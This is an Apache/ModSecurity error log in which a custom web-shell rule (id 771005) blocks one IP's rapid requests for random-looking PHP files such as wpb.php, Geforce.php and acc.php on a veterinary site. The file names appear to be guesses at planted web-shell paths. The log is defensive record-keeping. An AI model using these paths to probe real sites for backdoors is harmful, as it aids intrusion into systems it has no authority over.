[Mon Apr 13 17:07:11.229493 2026] [:error] [pid 57183:tid 57204] [client 20.100.201.121:64626] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "adyyPzDO3t8R5NaxzYTO3AAAAVM"]
[Mon Apr 13 17:07:11.932931 2026] [:error] [pid 63311:tid 63384] [client 20.100.201.121:64591] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adyyP6HjrGN1MqBCVFnPUAAAAI0"]
[Mon Apr 13 17:07:13.038670 2026] [:error] [pid 63406:tid 63422] [client 20.100.201.121:64627] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "adyyQbHZEIkQ0Zmgp5oX4wAAAMs"]
[Mon Apr 13 17:07:13.358950 2026] [:error] [pid 63406:tid 63417] [client 20.100.201.121:63671] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adyyQbHZEIkQ0Zmgp5oX5QAAAMY"]
[Mon Apr 13 17:07:13.853894 2026] [:error] [pid 63310:tid 63363] [client 20.100.201.121:64115] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpb.php"] [unique_id "adyyQXoXpRU5ztmwPjIuSAAAAFM"]
[Mon Apr 13 17:07:14.105418 2026] [:error] [pid 9314:tid 9331] [client 20.100.201.121:64686] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adyyQm_r4W8fX2GWyGTGcgAAAY8"]
[Mon Apr 13 17:07:14.550477 2026] [:error] [pid 7228:tid 7235] [client 20.100.201.121:64700] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "adyyQgEnn1dQrOSHHNVXzgAAAQU"]
[Mon Apr 13 17:07:14.832435 2026] [:error] [pid 57183:tid 57199] [client 20.100.201.121:63123] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adyyQjDO3t8R5NaxzYTO3wAAAU4"]
[Mon Apr 13 17:07:15.494535 2026] [:error] [pid 57183:tid 57203] [client 20.100.201.121:64140] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpb.php"] [unique_id "adyyQzDO3t8R5NaxzYTO4AAAAVI"]
[Mon Apr 13 17:07:15.758090 2026] [:error] [pid 63406:tid 63429] [client 20.100.201.121:65167] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7logs.php"] [unique_id "adyyQ7HZEIkQ0Zmgp5oX8AAAANI"]
[Mon Apr 13 17:07:15.776072 2026] [:error] [pid 63406:tid 63433] [client 20.100.201.121:65094] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adyyQ7HZEIkQ0Zmgp5oX8QAAANY"]
[Mon Apr 13 17:07:16.384578 2026] [:error] [pid 63406:tid 63418] [client 20.100.201.121:64077] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adyyRLHZEIkQ0Zmgp5oX-AAAAMc"]
[Mon Apr 13 17:07:16.521765 2026] [:error] [pid 63406:tid 63431] [client 20.100.201.121:63178] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7logs.php"] [unique_id "adyyRLHZEIkQ0Zmgp5oX-QAAANQ"]
[Mon Apr 13 17:07:16.887906 2026] [:error] [pid 9314:tid 9318] [client 20.100.201.121:64630] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpb.php"] [unique_id "adyyRG_r4W8fX2GWyGTGdgAAAYI"]
[Mon Apr 13 17:07:16.996129 2026] [:error] [pid 63309:tid 63326] [client 20.100.201.121:63617] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sde.php"] [unique_id "adyyREpIKZ10weXpf0UB4QAAAA0"]
[Mon Apr 13 17:07:17.640092 2026] [:error] [pid 9314:tid 9336] [client 20.100.201.121:64586] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sde.php"] [unique_id "adyyRW_r4W8fX2GWyGTGegAAAZQ"]
[Mon Apr 13 17:07:18.187594 2026] [:error] [pid 9314:tid 9319] [client 20.100.201.121:64646] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sde.php"] [unique_id "adyyRm_r4W8fX2GWyGTGfgAAAYM"]
[Mon Apr 13 17:07:18.845433 2026] [:error] [pid 7228:tid 7231] [client 20.100.201.121:63665] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sde.php"] [unique_id "adyyRgEnn1dQrOSHHNVX0QAAAQE"]
[Mon Apr 13 17:07:19.439476 2026] [:error] [pid 57183:tid 57187] [client 20.100.201.121:64152] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpb.php"] [unique_id "adyyRzDO3t8R5NaxzYTO4gAAAUI"]
[Mon Apr 13 17:07:20.140197 2026] [:error] [pid 63311:tid 63376] [client 20.100.201.121:63713] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpb.php"] [unique_id "adyySKHjrGN1MqBCVFnPVAAAAIU"]
[Mon Apr 13 17:07:20.284520 2026] [:error] [pid 57183:tid 57208] [client 20.100.201.121:65110] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpb.php"] [unique_id "adyySDDO3t8R5NaxzYTO4wAAAVc"]
[Mon Apr 13 17:07:20.709247 2026] [:error] [pid 57183:tid 57206] [client 20.100.201.121:63707] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpb.php"] [unique_id "adyySDDO3t8R5NaxzYTO5wAAAVU"]
[Mon Apr 13 17:07:21.312635 2026] [:error] [pid 63309:tid 63337] [client 20.100.201.121:64188] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpb.php"] [unique_id "adyySUpIKZ10weXpf0UB4wAAABg"]
[Mon Apr 13 17:07:22.045762 2026] [:error] [pid 7228:tid 7240] [client 20.100.201.121:64082] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Geforce.php"] [unique_id "adyySgEnn1dQrOSHHNVX1gAAAQo"]
[Mon Apr 13 17:07:22.598611 2026] [:error] [pid 7228:tid 7254] [client 20.100.201.121:63740] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7logs.php"] [unique_id "adyySgEnn1dQrOSHHNVX1wAAARg"]
[Mon Apr 13 17:07:22.630284 2026] [:error] [pid 7228:tid 7239] [client 20.100.201.121:63622] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Geforce.php"] [unique_id "adyySgEnn1dQrOSHHNVX2AAAAQk"]
[Mon Apr 13 17:07:23.041380 2026] [:error] [pid 63406:tid 63421] [client 20.100.201.121:65090] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Geforce.php"] [unique_id "adyyS7HZEIkQ0Zmgp5oYCwAAAMo"]
[Mon Apr 13 17:07:23.241964 2026] [:error] [pid 63406:tid 63428] [client 20.100.201.121:64132] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Geforce.php"] [unique_id "adyyS7HZEIkQ0Zmgp5oYDQAAANE"]
[Mon Apr 13 17:07:24.496543 2026] [:error] [pid 63406:tid 63432] [client 20.100.201.121:65154] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Geforce.php"] [unique_id "adyyTLHZEIkQ0Zmgp5oYFQAAANU"]
[Mon Apr 13 17:07:26.495068 2026] [:error] [pid 63406:tid 63433] [client 20.100.201.121:63684] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adyyTrHZEIkQ0Zmgp5oYHQAAANY"]
[Mon Apr 13 17:07:27.271108 2026] [:error] [pid 57183:tid 57192] [client 20.100.201.121:64122] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adyyTzDO3t8R5NaxzYTO8QAAAUc"]
[Mon Apr 13 17:07:28.119413 2026] [:error] [pid 63311:tid 63391] [client 20.100.201.121:63121] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adyyUKHjrGN1MqBCVFnPXAAAAJQ"]
[Mon Apr 13 17:07:28.713269 2026] [:error] [pid 63406:tid 63432] [client 20.100.201.121:64181] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7logs.php"] [unique_id "adyyULHZEIkQ0Zmgp5oYJgAAANU"]
[Mon Apr 13 17:07:28.828392 2026] [:error] [pid 63406:tid 63420] [client 20.100.201.121:63709] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adyyULHZEIkQ0Zmgp5oYJwAAAMk"]
[Mon Apr 13 17:07:29.309082 2026] [:error] [pid 63406:tid 63435] [client 20.100.201.121:64610] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Geforce.php"] [unique_id "adyyUbHZEIkQ0Zmgp5oYKgAAANg"]
[Mon Apr 13 17:07:29.547217 2026] [:error] [pid 63406:tid 63425] [client 20.100.201.121:63106] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpxl.php"] [unique_id "adyyUbHZEIkQ0Zmgp5oYLAAAAM4"]
[Mon Apr 13 17:07:30.296126 2026] [:error] [pid 57183:tid 57191] [client 20.100.201.121:64180] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpxl.php"] [unique_id "adyyUjDO3t8R5NaxzYTO9AAAAUY"]
[Mon Apr 13 17:07:30.452497 2026] [:error] [pid 57183:tid 57186] [client 20.100.201.121:64168] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acc.php"] [unique_id "adyyUjDO3t8R5NaxzYTO9QAAAUE"]
[Mon Apr 13 17:07:30.900445 2026] [:error] [pid 9314:tid 9317] [client 20.100.201.121:64173] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpxl.php"] [unique_id "adyyUm_r4W8fX2GWyGTGkgAAAYE"]
[Mon Apr 13 17:07:31.787313 2026] [:error] [pid 63310:tid 63350] [client 20.100.201.121:65130] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpxl.php"] [unique_id "adyyU3oXpRU5ztmwPjIuTQAAAEY"]
[Mon Apr 13 17:07:31.946314 2026] [:error] [pid 7228:tid 7250] [client 20.100.201.121:64112] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Geforce.php"] [unique_id "adyyUwEnn1dQrOSHHNVX4AAAARQ"]
[Mon Apr 13 17:07:32.459904 2026] [:error] [pid 7228:tid 7236] [client 20.100.201.121:63733] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adyyVAEnn1dQrOSHHNVX4wAAAQY"]
[Mon Apr 13 17:07:32.541708 2026] [:error] [pid 9314:tid 9329] [client 20.100.201.121:64095] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acc.php"] [unique_id "adyyVG_r4W8fX2GWyGTGlgAAAY0"]
[Mon Apr 13 17:07:33.217170 2026] [:error] [pid 63406:tid 63425] [client 20.100.201.121:62732] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adyyVbHZEIkQ0Zmgp5oYPQAAAM4"]
[Mon Apr 13 17:07:33.510125 2026] [:error] [pid 63310:tid 63354] [client 20.100.201.121:63741] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Geforce.php"] [unique_id "adyyVXoXpRU5ztmwPjIuTwAAAEo"]
[Mon Apr 13 17:07:33.781178 2026] [:error] [pid 63310:tid 63366] [client 20.100.201.121:64697] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adyyVXoXpRU5ztmwPjIuUAAAAFY"]
[Mon Apr 13 17:07:34.024290 2026] [:error] [pid 63310:tid 63365] [client 20.100.201.121:64155] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acc.php"] [unique_id "adyyVnoXpRU5ztmwPjIuUQAAAFU"]
[Mon Apr 13 17:07:34.388230 2026] [:error] [pid 63310:tid 63347] [client 20.100.201.121:65157] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adyyVnoXpRU5ztmwPjIuVAAAAEM"]
[Mon Apr 13 17:07:34.933727 2026] [:error] [pid 63310:tid 63349] [client 20.100.201.121:64579] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bfil.php"] [unique_id "adyyVnoXpRU5ztmwPjIuVgAAAEU"]
[Mon Apr 13 17:07:35.370000 2026] [:error] [pid 9314:tid 9340] [client 20.100.201.121:64098] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acc.php"] [unique_id "adyyV2_r4W8fX2GWyGTGmwAAAZg"]
[Mon Apr 13 17:07:35.514802 2026] [:error] [pid 57183:tid 57193] [client 20.100.201.121:63643] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bfil.php"] [unique_id "adyyVzDO3t8R5NaxzYTO9wAAAUg"]
[Mon Apr 13 17:07:35.649896 2026] [:error] [pid 9314:tid 9332] [client 20.100.201.121:64182] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adyyV2_r4W8fX2GWyGTGnAAAAZA"]
[Mon Apr 13 17:07:36.179207 2026] [:error] [pid 9314:tid 9339] [client 20.100.201.121:63196] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "adyyWG_r4W8fX2GWyGTGoAAAAZc"]
[Mon Apr 13 17:07:36.431689 2026] [:error] [pid 9314:tid 9327] [client 20.100.201.121:65107] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bfil.php"] [unique_id "adyyWG_r4W8fX2GWyGTGogAAAYs"]
[Mon Apr 13 17:07:36.497263 2026] [:error] [pid 63310:tid 63353] [client 20.100.201.121:64172] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adyyWHoXpRU5ztmwPjIuVwAAAEk"]
